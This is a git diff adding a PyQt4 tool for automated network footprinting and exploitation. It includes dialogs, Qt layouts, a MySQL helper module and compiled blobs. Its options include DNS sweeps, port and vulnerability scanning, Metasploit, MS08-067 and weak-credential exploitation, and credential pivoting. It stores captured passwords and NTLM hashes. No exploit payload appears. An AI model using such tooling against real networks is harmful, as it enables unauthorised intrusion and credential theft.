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 Zv>7T54UGP-{^cmD(iml{{UQUCUXD) literal 0 HcmV?d00001 diff --git a/source/__init__.py b/source/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/source/__init__.pyc b/source/__init__.pyc new file mode 100644 index 0000000000000000000000000000000000000000..444670a16221fafa1865fbbfc68758556e0032f8 GIT binary patch literal 124 zcmZSn%*%C8pEoR-0SXv_v;zfjN5FICJmX*h@T-TB*0~ z@8nPL17OD4k6vk`^{o9I&%AjvPW-38^Ly0)QNr?x>HiZAKPIE-C!hkT1xy6g5lkWw zj7Ct!P$w`+x^)cI7St(BQd%dV1?UtmB2Zg!3$OqmFJhOD;!2cxULy`vIBQkkztie1FdU%cP{LFL$CA8~xb%7jmUNqWb zMl%S;zoprzaSlgCi%u0*?@tYmylb0Mj|!z!kYs;;Ew|`ZR@<{j5Cc)NzN-=Vv)0Tv zq_Eg< z%NUwB0i^2DN&6fyhFQW86_l#Eh?mNXq@%02t0S~&}yxQ=!PV- zZidCM(=TK3Br70y_%zp|C`&y@$rOV(v+?#&Q3mAG+59KkZ$nais6pr}%FF y6pvdIZeUkKZj05 + + Dialog + + + + 0 + 0 + 395 + 96 + + + + Add Domain + + + + + + + + Domain + + + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + OK + + + + + + + Cancel + + + + + + + + + + diff --git a/source/adddomaincreds.py b/source/adddomaincreds.py new file mode 100644 index 0000000..818b11c --- /dev/null +++ b/source/adddomaincreds.py @@ -0,0 +1,23 @@ +from PyQt4.QtGui import QDialog, QMessageBox +from PyQt4.QtCore import pyqtSignature + +from Ui_adddomaincreds import Ui_dialog + +class AddDomainCredsDialog(QDialog, Ui_dialog): + def __init__(self, parent = None): + QDialog.__init__(self, parent) + self.setupUi(self) + + def getResult(self): + return [ self.txtDomainName.text(), self.txtUsername.text(), self.txtPassword.text() ] + + @pyqtSignature("") + def on_btnOk_clicked(self): + if self.txtDomainName.text() != "" and self.txtUsername.text() != "" and self.txtPassword.text() != "": + self.accept() + else: + QMessageBox.information(self, "Information", "You need to fill in all three fields") + + @pyqtSignature("") + def on_btnCancel_clicked(self): + self.reject() diff --git a/source/adddomaincreds.pyc b/source/adddomaincreds.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4a380ad78e38bd58382343201825c802ec546d5f GIT binary patch literal 1590 zcmb_cOK;Oa5FS6`w537eQO-f)5DBTda6~+sN)-}>cB3LS7t44jVN-iIc-NwpdP{#N ze}W$XGwUR6k3ggBcxKj~neUs~jed1@ehxZca#;N$dcLD&$0Q{E11JE>044#HAxuID z*c(C-K^em&ZtMt(7L*B060&2!05E}R2(ks&0840tJ%~}CKN7USZIMV*rIkxlPl`oXFHTj%QcSxRi>c$3 zi>yNJ`lNvu_9bb9${07uYG-7oaet=Vz?!>Fc9c5qg@gHSxeM1cVw9EWyc;i^?=EefTC6m0aJR`m&aC}m zD(M*!T-LuMb37F@bOLQ%_ym?)0|E7eTD3;WBo1lWoWyOEGzRApR3E)_4fl?7jr)!> zW>y0I1Y8T|34cs8L<6*pR?TJ(M&cn!U(^RZHC358Wwd=k&NEZ@G@|S|)0?WI=qcUH z=;6Lqh~&XST7PZ?;}bh9m_4ye!jD9j=eTf!0s0K;Cd0k(+NHoor(d1^e4gfo%Fj_U z9LrQf_%`T-8+N$}&n~~vu*>wwo2mC@@|P9PF?aV;A>RN^g~LqeSgfnuBY!gl;i$hw z#_FW;2+~PoF4MF$vM$*4jWQbj5fOa#2p%Bum<6Y}nN6?#_0i)5jNEc5Nw6DlM| + + dialog + + + + 0 + 0 + 490 + 174 + + + + Add Domain Creds + + + + + + + + + 80 + 0 + + + + Domain + + + + + + + + + + + + + + + 80 + 0 + + + + Username + + + + + + + + + + + + + + + 80 + 0 + + + + Password + + + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + OK + + + + + + + Cancel + + + + + + + + + + diff --git a/source/addhost.py b/source/addhost.py new file mode 100644 index 0000000..09a6904 --- /dev/null +++ b/source/addhost.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- + +from PyQt4.QtGui import QDialog, QMessageBox +from PyQt4.QtCore import pyqtSignature + +from Ui_addhost import Ui_Dialog + +import footprintfunctions + +class addhost(QDialog, Ui_Dialog): + def __init__(self, parent = None): + QDialog.__init__(self, parent) + self.setupUi(self) + + def getResult(self): + return self.txtHost.text() + + @pyqtSignature("") + def on_btnCancel_clicked(self): + self.reject() + + @pyqtSignature("") + def on_btnOK_clicked(self): + if footprintfunctions.isInternalIP(self.txtHost.text()): + self.accept() + else: + QMessageBox.information(self, "Information", "You need to enter an IP") diff --git a/source/addhost.pyc b/source/addhost.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2d090fcdbbe009b7cc20f86ba02ac5121d719296 GIT binary patch literal 1455 zcmbu9-*3|}5Xa9+nr>r-iXVf=B7u~r^@Ya?p$%zNh_bmF()tpG#4Rp~UE+(hNqg)5 zPW}o00JwA7ZLe%m?bv7M{JHO)8~*9-{2unc<*d?7v)?wSBLf@5xk*C-SYAmPW0Sl*wm^uZMvH*w+5FdrX6t zj?nH3$veC_wOXkBfl$xMnKkKmG)I}qRhj0c&VQ=nDcM`T;0BFl@Ms52ut_^5dl7P} zQ@-oB9y#KvFwX!xu!z}2MaQ)kt^*0l!PwXR$joeAWvH!jFUfjtn}JcP7@!?c=2bn& z%wTlluMaZRjB>xMwZU0qa{n3bl3BYE?>1REI+3ij+@a3Pl;ycvqV%$HMd;fjAC}NQ zIcv51`gx<<9@!jME(EVcFBm6W?CXj*S*57r87xgJTQnt4S=F&M%2%vpK*@C>IscN= zb6acwc?H-rALf`L7Q4}Q_##SJ954OJ + + Dialog + + + + 0 + 0 + 402 + 78 + + + + Add Host + + + + + + Qt::Horizontal + + + + IP Address + + + + + + + + + Qt::Horizontal + + + + OK + + + + + Cancel + + + + + + + + + diff --git a/source/choosefootprint.py b/source/choosefootprint.py new file mode 100644 index 0000000..3d9d6d7 --- /dev/null +++ b/source/choosefootprint.py @@ -0,0 +1,71 @@ +# -*- coding: utf-8 -*- + +from PyQt4.QtGui import QDialog, QMessageBox +from PyQt4.QtCore import pyqtSignature + +from Ui_choosefootprint import Ui_Dialog + +class footprintOptions(): + addLocalResolverHosts = False + zoneTransferDomains = False + netRangePortScanner = False + runDnsQueriesOnKnownRanges = False + dnsQueries10Range = False + dnsQueries172Range = False + dnsQueries192Range = False + dnsQueriesOnKnownHosts = False + hostPortScanner = False + vulnScanner = False + startMetasploit = False + exploitMs08067 = False + expoitWeakMsSqlCreds = False + exploitWeakTomcatCreds = False + credPivot = False + +class ChooseFootprintDialog(QDialog, Ui_Dialog): + def __init__(self, parent = None): + QDialog.__init__(self, parent) + self.setupUi(self) + + def setFootprints(self, _footprints): + self.cmbFootprints.addItems(_footprints) + + def getResults(self): + options = footprintOptions + options.addLocalResolverHosts = self.cbxAddLocalResolverHosts.isChecked() + options.zoneTransferDomains = self.cbxZoneTransferDomains.isChecked() + options.netRangePortScanner = self.cbxNetRangePortScanner.isChecked() + options.runDnsQueriesOnKnownRanges = self.cbxDnsQueryKnownRanges.isChecked() + options.dnsQueries10Range = self.cbxDnsQuery10range.isChecked() + options.dnsQueries172Range = self.cbxDnsQuery172range.isChecked() + options.dnsQueries192Range = self.cbxDnsQuery192range.isChecked() + options.dnsQueriesOnKnownHosts = self.cbxDnsQueriesOnKnownHosts.isChecked() + options.hostPortScanner = self.cbxHostPortScanner.isChecked() + options.vulnScanner = self.cbxVulnScanner.isChecked() + options.startMetasploit = self.cbxStartMetasploit.isChecked() + options.exploitMs08067 = self.cbxExploitMs08067.isChecked() + options.expoitWeakMsSqlCreds = self.cbxExploitWeakMsSqlCreds.isChecked() + options.exploitWeakTomcatCreds = self.cbxExploitWeakTomcatCreds.isChecked() + options.credPivot = self.cbxCredPivot.isChecked() + + return [self.txtFootprintName.text(), self.cbxDoWork.isChecked(), options] + + @pyqtSignature("") + def on_btnCancel_clicked(self): + self.reject() + + @pyqtSignature("") + def on_btnOK_clicked(self): + if self.txtFootprintName.text() == "": + QMessageBox.information(self, "Information", "You need to choose a name") + else: + self.accept() + + @pyqtSignature("QString") + def on_cmbFootprints_currentIndexChanged(self, p0): + if p0 != "": + self.txtFootprintName.setText(p0) + + @pyqtSignature("QString") + def on_txtFootprintName_textEdited(self, p0): + self.cmbFootprints.setCurrentIndex(0) diff --git a/source/choosefootprint.pyc b/source/choosefootprint.pyc new file mode 100644 index 0000000000000000000000000000000000000000..6e742491960d99493239abdfe42b21913b6e97a9 GIT binary patch literal 3656 zcmb_fZBrCS5boVOjsrnK1z%z!YCc?5Qi8^WSV7MR>dZ_$8JN?)4?8_L2KNbA{E3ySXNn1utd8NpJZ8Q zImL3C9Yv?3qMqz@EIHok^mH=F=yd{LA4Qpw zb^%9GlKigYC==4??5)gy)5aQm24~)BC7pN>t;nX(T z?OQ}4eLKihVIk=l8|8LQ+Q{@XomzVmF}cU%HM8>L$`7mdtb=g&m5g@RO#4mN%w=LM zZ9mkdndiC}N7hYIM#QM}EPbo33j!j*Bl9hemUGOIMW-Q#E{q<6G|NTAJS*J{v50-qweQgu}6K(=LT zIOs>YR9;Mu9**<43T3yUbs?AwN-xM0_JVSTtagr|7vqML9+OGj+bqLmxJ0q|9$VQn zY`LIqn2I`OLYPrH9ocl=6OU%JCuNi&b0CO`o5o`C9U>TuKRFf{5e&is2c=VC@2Va$ z!AQ+RCK;)F$P^>f9&&<_84sCdmdt_EPBW}M$UW41x7A< z$QO)U@{lhX`N~5sGqMCbSNJqA#8*eN-Ab9A*YG&GbS))Jyt#Mple|h)k(%bVjCW-s zsLYvIP=Dhv+X~Vy=39qZS5Q$E^F!+0_h?rT2Qtgz`o;W>m7K_1%+MUsyg#>k(@j$A zJ2ZKFI7zH&FN}RTB77!fL1bHOOo&I!f;uKMFK+yDM9_kIMDa~~oTvr&G*ZBC9*z;V zAQy@=A5M)kx1jPY?DaG}1{c%_Eu9FiPn^z7E{O6io4YqEq89d4OI%>(p0!N&PU zPL24nO5|R1n+Pbmi+Zl9hBN=wRMEq-sj@REehkj+OE|K8yOXx*Z8LI8+#zNDg2d4q zDfLZs$$mrw9io7TNor;Ckk%#3AZ#@#Zv-b41(M04h3qbmcR3l}mhL x!eXYWbIGPMH{%~ZA6;2R1(mt;@xI43p07neyT4WL(9))kVlkKt=fX4d{{oGFENB1# literal 0 HcmV?d00001 diff --git a/source/choosefootprint.ui b/source/choosefootprint.ui new file mode 100644 index 0000000..79cbf9a --- /dev/null +++ b/source/choosefootprint.ui @@ -0,0 +1,326 @@ + + + Dialog + + + + 0 + 0 + 485 + 335 + + + + Choose Footprint + + + + + + OK + + + true + + + false + + + + + + + Cancel + + + + + + + 0 + + + + Name + + + + + + Type the name of the footprint + + + + + + + + + + Or choose one from this list + + + + + + + + + + Carry on with footprint + + + false + + + + + + + (Uncheck this if you simply want to view previous results) + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Host Discovery + + + + + + Add Local Resolver Hosts + + + true + + + + + + + DNS Queries across 10 Range + + + + + + + DNS Queries across 172 Range + + + + + + + DNS Queries across 192 range + + + + + + + DNS Queries on Known Ranges + + + true + + + + + + + Net Range Port Scanner + + + true + + + + + + + Zone Transfer Domains + + + true + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Footprinting + + + + + + DNS Queries on Known Hosts + + + true + + + + + + + Host Port Scanner + + + true + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Vuln Scanning + + + + + + Vuln Scanner + + + true + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + Exploitation + + + + + + Start Metasploit + + + true + + + + + + + Exploit MS08-067 + + + true + + + + + + + Exploit Weak MS SQL creds + + + true + + + + + + + Exploit Weak Tomcat Creds + + + true + + + + + + + Pivot using known creds + + + true + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + diff --git a/source/dbfunctions.py b/source/dbfunctions.py new file mode 100644 index 0000000..5c1544e --- /dev/null +++ b/source/dbfunctions.py @@ -0,0 +1,215 @@ +import MySQLdb + +def createFootprint(db, footprint_name): + cursor = db.cursor() + cursor.execute("call createFootprint(%s);", (footprint_name)) + res = cursor.fetchone()[0] + cursor.close() + db.commit() + return res + +def addIP(db, footprint_id, ip_address, is_dc=0): + if ip_address == "": + return + + cursor = db.cursor() + cursor.execute('call addIP(%s, %s, %s)', (footprint_id, ip_address, is_dc)) + cursor.close() + + addRange(db, footprint_id, ip_address[:str(ip_address).rfind(".")] + ".0/24") + +def insertPort(db, host, port): + cursor = db.cursor() + cursor.execute('call addPort(%s, %s)', (host, port)) + cursor.close() + +def addRange(db, footprint_id, net_range): + cursor = db.cursor() + cursor.execute('call addRange(%s, %s)', (footprint_id, net_range)) + cursor.close() + +def addDomain(db, footprint_id, domain): + if domain == "": + return + + cursor = db.cursor() + cursor.execute('call addDomain(%s, %s)', (footprint_id, domain)) + cursor.close() + +def listDomains(db, footprint_id): + result = [] + cursor = db.cursor() + cursor.execute('select domain_name from domains where footprint_id=%s', (footprint_id)) + for row in cursor.fetchall(): + result.append(row[0]) + + cursor.close() + return result + +def listHostsToQueryDNS(db, footprint_id): + result = [] + cursor = db.cursor() + cursor.execute('select ip_address from host_data where footprint_id = %s and dns_lookup_done = 0 limit 255', (footprint_id)) + + for row in cursor.fetchall(): + result.append(row[0]) + + cursor.close() + return result + +def listRangesToQueryDNS(db, footprint_id): + result = [] + cursor = db.cursor() + cursor.execute('select net_range from ranges where footprint_id=%s and dns_lookups_done=0', (footprint_id)) + for row in cursor.fetchall(): + result.append(row[0]) + cursor.close() + return result + +def updateHostDNS_wo_commit(db, footprint_id, ip_address, dns_name): + cursor = db.cursor() + cursor.execute('select count(id) from host_data where footprint_id=%s and ip_address=%s', (footprint_id, ip_address)) + count = cursor.fetchone()[0] + + cursor.close() + cursor = db.cursor() + + if count == 0: + if dns_name != "": + cursor.execute('insert into host_data (footprint_id, ip_address, host_name, dns_lookup_done) values (%s, %s, %s, %s)', (footprint_id, ip_address, dns_name, 1)) + addRange(db, footprint_id, ip_address[:ip_address.rfind(".")] + ".0/24") + else: + cursor.execute('update host_data set host_name = %s, dns_lookup_done = %s where ip_address = %s', (dns_name, 1, ip_address)) + cursor.close() + +def countHostsToPortScan(db, footprint_id): + cursor = db.cursor() + cursor.execute('select count(id) from host_data where footprint_id=%s and port_scan_done = 0', (footprint_id)) + res = int(cursor.fetchone()[0]) + cursor.close() + return res + +def listHostsToPortScan(db, footprint_id): + cursor = db.cursor() + result = [] + cursor.execute('select ip_address from host_data where footprint_id = %s and port_scan_done = 0 limit 255', (footprint_id)) + for row in cursor.fetchall(): + result.append(row[0]) + cursor.close() + return result + +def listRangesToPortScan(db, footprint_id): + cursor = db.cursor() + result = [] + cursor.execute('select net_range from ranges where footprint_id = %s and port_scans_done = 0 limit 1', (footprint_id)) + + for row in cursor.fetchall(): + result.append(row[0]) + cursor.close() + return result + +def listHostsWithOpenPort(db, footprint_id, port_num, limit): + cursor = db.cursor() + sql = "select h.ip_address from host_data h join ports p on h.id = p.host_data_id where h.footprint_id = %s and p.port_num = %s and p.vuln_checked = 0 limit %s" + + result = [] + cursor.execute(sql, (footprint_id, port_num, limit)) + for row in cursor.fetchall(): + result.append(row[0]) + + cursor.close() + return result + +def listHttpTitleRequests(db, footprint_id, limit): + cursor = db.cursor() + sql = "select h.ip_address, p.port_num from host_data h join ports p on h.id = p.host_data_id where h.footprint_id = %s and http_title_checked = 0 and port_num in (80,443,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099) limit %s" + + result = [] + cursor.execute(sql, (footprint_id, limit)) + for row in cursor.fetchall(): + result.append([row[0], row[1]]) + cursor.close() + return result + +def updateHttpTitle(db, footprint_id, host, port, title): + cursor = db.cursor() + cursor.execute('update ports set http_title_checked = 1, http_title = %s where port_num = %s and host_data_id = (select id from host_data where footprint_id = %s and ip_address = %s limit 1)', (title, port, footprint_id, host)) + cursor.close() + db.commit() + +def updatePortVulnerability(db, footprint_id, ip_address, port_num, vuln_checked, vulnerable, shell, notes, vulnerability_name): + cursor = db.cursor() + cursor.execute("call updatePortVulnerability(%s, %s, %s, %s, %s, %s, %s, %s)", (footprint_id, ip_address, port_num, vuln_checked, vulnerable, shell, notes, vulnerability_name)) + cursor.close() + +def getDnsLookupPositions(db, footprint_id): + cursor = db.cursor() + cursor.execute("select 10_range_position, 172_range_position, 192_range_position from footprints where id = %s", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res + +def updateDnsLookupPosition(db, footprint_id, lookup, value): + cursor = db.cursor() + if lookup == "192_range_position": + cursor.execute("update footprints set 192_range_position = %s where id = %s", (value, footprint_id)) + elif lookup == "172_range_position": + cursor.execute("update footprints set 172_range_position = %s where id = %s", (value, footprint_id)) + elif lookup == "10_range_position": + cursor.execute("update footprints set 10_range_position = %s where id = %s", (value, footprint_id)) + cursor.close() + +def setMsfPass(db, footprint_id, value): + cursor = db.cursor() + cursor.execute("update footprints set msfrpc_pass = %s where id = %s", (value, footprint_id)) + cursor.close() + +def getMsfPass(db, footprint_id): + cursor = db.cursor() + cursor.execute("select msfrpc_pass from footprints where id = %s", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res[0] + +def addDomainCreds(db, footprint_id, domain, username, password, lm_hash, ntlm_hash, http_ntlm_hash): + cursor = db.cursor() + cursor.execute("call addDomainCreds(%s, %s, %s, %s, %s, %s, %s)", (footprint_id, domain, username, password, lm_hash, ntlm_hash, http_ntlm_hash)) + cursor.close() + +def getHostVulnerableToMS08067(db, footprint_id): + cursor = db.cursor() + cursor.execute("call getVulnerableToMS08067(%s)", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res + +def getHostVulnerableWeakSqlCreds(db, footprint_id): + cursor = db.cursor() + cursor.execute("call getVulnerableWeakSqlCreds(%s)", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res + +def getHostVulnerableWeakTomcatCreds(db, footprint_id): + cursor = db.cursor() + cursor.execute("call getVulnerableWeakTomcatCreds(%s)", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res + +def setHostExploitedDate(db, port_id): + cursor = db.cursor() + cursor.execute("update ports set exploited = CURRENT_TIMESTAMP where id = %s", (port_id)) + cursor.close() + +def getHostToLogInTo(db, footprint_id): + cursor = db.cursor() + cursor.execute("call getHostToLogInTo(%s)", (footprint_id)) + res = cursor.fetchone() + cursor.close() + return res + +def addLoginAttemptResult(db, host_data_id, domain_creds_id, success): + cursor = db.cursor() + cursor.execute("call addLoginAttemptResult(%s, %s, %s)", (host_data_id, domain_creds_id, success)) + cursor.close() diff --git a/source/dbfunctions.pyc b/source/dbfunctions.pyc new file mode 100644 index 0000000000000000000000000000000000000000..43ca86f6211b17e0d8aed3fca561b277d476a0d7 GIT binary patch literal 10339 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 